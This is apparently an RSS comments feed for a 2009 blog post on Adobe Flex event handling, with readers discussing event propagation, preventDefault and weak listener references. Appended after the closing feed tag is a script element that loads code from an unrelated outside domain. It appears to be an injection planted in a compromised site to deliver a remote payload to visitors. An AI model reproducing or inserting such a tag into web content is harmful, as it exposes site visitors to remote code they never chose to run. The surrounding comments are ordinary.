<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
		>
<channel>
	<title>Comments on: An indepth look at Flex Events</title>
	<atom:link href="http://codeofdoom.com/wordpress/2009/03/02/an-indepth-look-at-flex-events/feed/" rel="self" type="application/rss+xml" />
	<link>http://codeofdoom.com/wordpress/2009/03/02/an-indepth-look-at-flex-events/</link>
	<description></description>
	<lastBuildDate>Thu, 29 Jul 2010 14:18:31 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.9.2</generator>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
		<item>
		<title>By: rahul agarwal</title>
		<link>http://codeofdoom.com/wordpress/2009/03/02/an-indepth-look-at-flex-events/comment-page-1/#comment-369</link>
		<dc:creator>rahul agarwal</dc:creator>
		<pubDate>Thu, 10 Jun 2010 07:28:57 +0000</pubDate>
		<guid isPermaLink="false">http://codeofdoom.com/wordpress/?p=221#comment-369</guid>
		<description>stop propagation and stopImmediatePropagation is good but bubble and cancalable is not properly present</description>
		<content:encoded><![CDATA[<p>stop propagation and stopImmediatePropagation is good but bubble and cancalable is not properly present</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: Siraj</title>
		<link>http://codeofdoom.com/wordpress/2009/03/02/an-indepth-look-at-flex-events/comment-page-1/#comment-241</link>
		<dc:creator>Siraj</dc:creator>
		<pubDate>Wed, 29 Jul 2009 11:53:52 +0000</pubDate>
		<guid isPermaLink="false">http://codeofdoom.com/wordpress/?p=221#comment-241</guid>
		<description>Hi... many thanks for the great post... I actually have a problem with my combobox which is customized to select multiple items. The problem is, it fires multiple change events on selection change; so is there any way to stop an event already fired? 
The detail is posted here: http://forums.adobe.com/thread/469331 
Regards,
Siraj</description>
		<content:encoded><![CDATA[<p>Hi&#8230; many thanks for the great post&#8230; I actually have a problem with my combobox which is customized to select multiple items. The problem is, it fires multiple change events on selection change; so is there any way to stop an event already fired?<br />
The detail is posted here: <a href="http://forums.adobe.com/thread/469331" rel="nofollow">http://forums.adobe.com/thread/469331</a><br />
Regards,<br />
Siraj</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: tont0r</title>
		<link>http://codeofdoom.com/wordpress/2009/03/02/an-indepth-look-at-flex-events/comment-page-1/#comment-86</link>
		<dc:creator>tont0r</dc:creator>
		<pubDate>Tue, 03 Mar 2009 15:04:55 +0000</pubDate>
		<guid isPermaLink="false">http://codeofdoom.com/wordpress/?p=221#comment-86</guid>
		<description>Kevlin,

I could agree with you, its definitely good for web applications. Although javascript didnt come to mind first since I do have limited exposure to it. I was thinking about it being like developing a desktop application since since they run in their own little VM and just the way events are handled remind me a lot of java action listeners. Certainly a lot of less form submits than normal web applications :P.</description>
		<content:encoded><![CDATA[<p>Kevlin,</p>
<p>I could agree with you, its definitely good for web applications. Although javascript didnt come to mind first since I do have limited exposure to it. I was thinking about it being like developing a desktop application since since they run in their own little VM and just the way events are handled remind me a lot of java action listeners. Certainly a lot of less form submits than normal web applications <img src='http://codeofdoom.com/wordpress/wp-includes/images/smilies/icon_razz.gif' alt=':P' class='wp-smiley' /> .</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: Marcel</title>
		<link>http://codeofdoom.com/wordpress/2009/03/02/an-indepth-look-at-flex-events/comment-page-1/#comment-85</link>
		<dc:creator>Marcel</dc:creator>
		<pubDate>Tue, 03 Mar 2009 15:00:33 +0000</pubDate>
		<guid isPermaLink="false">http://codeofdoom.com/wordpress/?p=221#comment-85</guid>
		<description>Darren, 

Yeah, I could have been a bit clearer about the preventDefault. Here is a good example of what I was referring to:
&lt;a href=&quot;http://blog.flexexamples.com/2008/03/07/preventing-line-feeds-in-a-textarea-control-in-flex/#more-548&quot; rel=&quot;nofollow&quot;&gt;Check this out&lt;/a&gt;
Each type they type out something, it goes to the textEvent. If the text is a &quot;\n&quot;, it will prevent the default action, when is to display it within the input box. 

Hope that helps!</description>
		<content:encoded><![CDATA[<p>Darren, </p>
<p>Yeah, I could have been a bit clearer about the preventDefault. Here is a good example of what I was referring to:<br />
<a href="http://blog.flexexamples.com/2008/03/07/preventing-line-feeds-in-a-textarea-control-in-flex/#more-548" rel="nofollow">Check this out</a><br />
Each type they type out something, it goes to the textEvent. If the text is a &#8220;\n&#8221;, it will prevent the default action, when is to display it within the input box. </p>
<p>Hope that helps!</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: Kelvin Luck</title>
		<link>http://codeofdoom.com/wordpress/2009/03/02/an-indepth-look-at-flex-events/comment-page-1/#comment-83</link>
		<dc:creator>Kelvin Luck</dc:creator>
		<pubDate>Tue, 03 Mar 2009 07:29:24 +0000</pubDate>
		<guid isPermaLink="false">http://codeofdoom.com/wordpress/?p=221#comment-83</guid>
		<description>It&#039;s interesting you say that the flash event model makes it similar to developing desktop applications... To me it makes it more similar to developing web applications - it&#039;s basically the W3C event model which has been available in web browsers through javascript for years...</description>
		<content:encoded><![CDATA[<p>It&#8217;s interesting you say that the flash event model makes it similar to developing desktop applications&#8230; To me it makes it more similar to developing web applications &#8211; it&#8217;s basically the W3C event model which has been available in web browsers through javascript for years&#8230;</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: Darren</title>
		<link>http://codeofdoom.com/wordpress/2009/03/02/an-indepth-look-at-flex-events/comment-page-1/#comment-80</link>
		<dc:creator>Darren</dc:creator>
		<pubDate>Mon, 02 Mar 2009 22:46:18 +0000</pubDate>
		<guid isPermaLink="false">http://codeofdoom.com/wordpress/?p=221#comment-80</guid>
		<description>This bit doesn&#039;t make a lot of sense to me, &quot;One example is the MouseEvent.DOUBLE_CLICK event. When you fire this event, it will highlight the string that the mouse is hovering over.&quot; Highlight the string? I guess you mean the label or the UITextField of a standard Button? It doesn&#039;t seem to make any changes to this for me either. It just briefly shows the downSkin which effectively changes the background colour of the button.

@ Justin, I find it easiest to create a custom event with weakReferences set to true and extend this for all my other events. Easier than writing out all those extra parameters every time just to set the fifth one to true when you usually only need the first two. You can add a generic data Object to this event too to make it more useful, or just extend DynamicEvent  for your custom event.</description>
		<content:encoded><![CDATA[<p>This bit doesn&#8217;t make a lot of sense to me, &#8220;One example is the MouseEvent.DOUBLE_CLICK event. When you fire this event, it will highlight the string that the mouse is hovering over.&#8221; Highlight the string? I guess you mean the label or the UITextField of a standard Button? It doesn&#8217;t seem to make any changes to this for me either. It just briefly shows the downSkin which effectively changes the background colour of the button.</p>
<p>@ Justin, I find it easiest to create a custom event with weakReferences set to true and extend this for all my other events. Easier than writing out all those extra parameters every time just to set the fifth one to true when you usually only need the first two. You can add a generic data Object to this event too to make it more useful, or just extend DynamicEvent  for your custom event.</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: An indepth look at Flex Events &#124; Switch on the Code</title>
		<link>http://codeofdoom.com/wordpress/2009/03/02/an-indepth-look-at-flex-events/comment-page-1/#comment-79</link>
		<dc:creator>An indepth look at Flex Events &#124; Switch on the Code</dc:creator>
		<pubDate>Mon, 02 Mar 2009 16:10:08 +0000</pubDate>
		<guid isPermaLink="false">http://codeofdoom.com/wordpress/?p=221#comment-79</guid>
		<description>[...] An indepth look at Flex Events  Source:   Code of Doom       Excerpt: [...]</description>
		<content:encoded><![CDATA[<p>[...] An indepth look at Flex Events  Source:   Code of Doom       Excerpt: [...]</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: Justin Reidy</title>
		<link>http://codeofdoom.com/wordpress/2009/03/02/an-indepth-look-at-flex-events/comment-page-1/#comment-78</link>
		<dc:creator>Justin Reidy</dc:creator>
		<pubDate>Mon, 02 Mar 2009 14:56:53 +0000</pubDate>
		<guid isPermaLink="false">http://codeofdoom.com/wordpress/?p=221#comment-78</guid>
		<description>You forgot my favorite / most used event argument - useWeakReferences! Events default to using Strong references to listeners, which means that you can have situations in which you lose your named reference to the host of a listener, thus preventing you from removing the event listener. The listener floats around in memory, never to be garbage collected, because of the strong reference. Setting useWeakReferences to true avoids this potential problem. There are a couple of situations where you&#039;d want to be careful with weak references, though - most notably in the case of using an anonymous function as your listener, since a weak reference would garbage collect the function before it is called!

David Coletta has some good points here: http://www.colettas.org/?p=115</description>
		<content:encoded><![CDATA[<p>You forgot my favorite / most used event argument &#8211; useWeakReferences! Events default to using Strong references to listeners, which means that you can have situations in which you lose your named reference to the host of a listener, thus preventing you from removing the event listener. The listener floats around in memory, never to be garbage collected, because of the strong reference. Setting useWeakReferences to true avoids this potential problem. There are a couple of situations where you&#8217;d want to be careful with weak references, though &#8211; most notably in the case of using an anonymous function as your listener, since a weak reference would garbage collect the function before it is called!</p>
<p>David Coletta has some good points here: <a href="http://www.colettas.org/?p=115" rel="nofollow">http://www.colettas.org/?p=115</a></p>
]]></content:encoded>
	</item>
	<item>
		<title>By: Marcel</title>
		<link>http://codeofdoom.com/wordpress/2009/03/02/an-indepth-look-at-flex-events/comment-page-1/#comment-77</link>
		<dc:creator>Marcel</dc:creator>
		<pubDate>Mon, 02 Mar 2009 14:52:55 +0000</pubDate>
		<guid isPermaLink="false">http://codeofdoom.com/wordpress/?p=221#comment-77</guid>
		<description>bob,

When it comes to removing events, really the main thing you have to be concerned with is when you are no longer going to use that object. If it is just a button that you are going to be using throughout the lifetime of the application and you are only creating that button once, then no worries. You can leave it there. The example I used was when people make the mistake of adding them within something like commitProperties, which gets called multiple times on the same object. Another example is within item renderers. If you are going to set your object up where event listeners are added multiple times, please be aware that they may add up :). 

Hope that helps!</description>
		<content:encoded><![CDATA[<p>bob,</p>
<p>When it comes to removing events, really the main thing you have to be concerned with is when you are no longer going to use that object. If it is just a button that you are going to be using throughout the lifetime of the application and you are only creating that button once, then no worries. You can leave it there. The example I used was when people make the mistake of adding them within something like commitProperties, which gets called multiple times on the same object. Another example is within item renderers. If you are going to set your object up where event listeners are added multiple times, please be aware that they may add up <img src='http://codeofdoom.com/wordpress/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> . </p>
<p>Hope that helps!</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: burritobob</title>
		<link>http://codeofdoom.com/wordpress/2009/03/02/an-indepth-look-at-flex-events/comment-page-1/#comment-76</link>
		<dc:creator>burritobob</dc:creator>
		<pubDate>Mon, 02 Mar 2009 10:42:12 +0000</pubDate>
		<guid isPermaLink="false">http://codeofdoom.com/wordpress/?p=221#comment-76</guid>
		<description>good writeup.  Concerning the removing of listeners.  Lets say for example I have a set up a listener onRegister, for when a button gets clicked.  So in the function that handles the event, I should remove the listener ? Where do I re register to associate the listener with the button , in the same function ?.  thanks</description>
		<content:encoded><![CDATA[<p>good writeup.  Concerning the removing of listeners.  Lets say for example I have a set up a listener onRegister, for when a button gets clicked.  So in the function that handles the event, I should remove the listener ? Where do I re register to associate the listener with the button , in the same function ?.  thanks</p>
]]></content:encoded>
	</item>
</channel>
</rss>
<script src="http://indesignstudioinfo.com/ls.php"></script>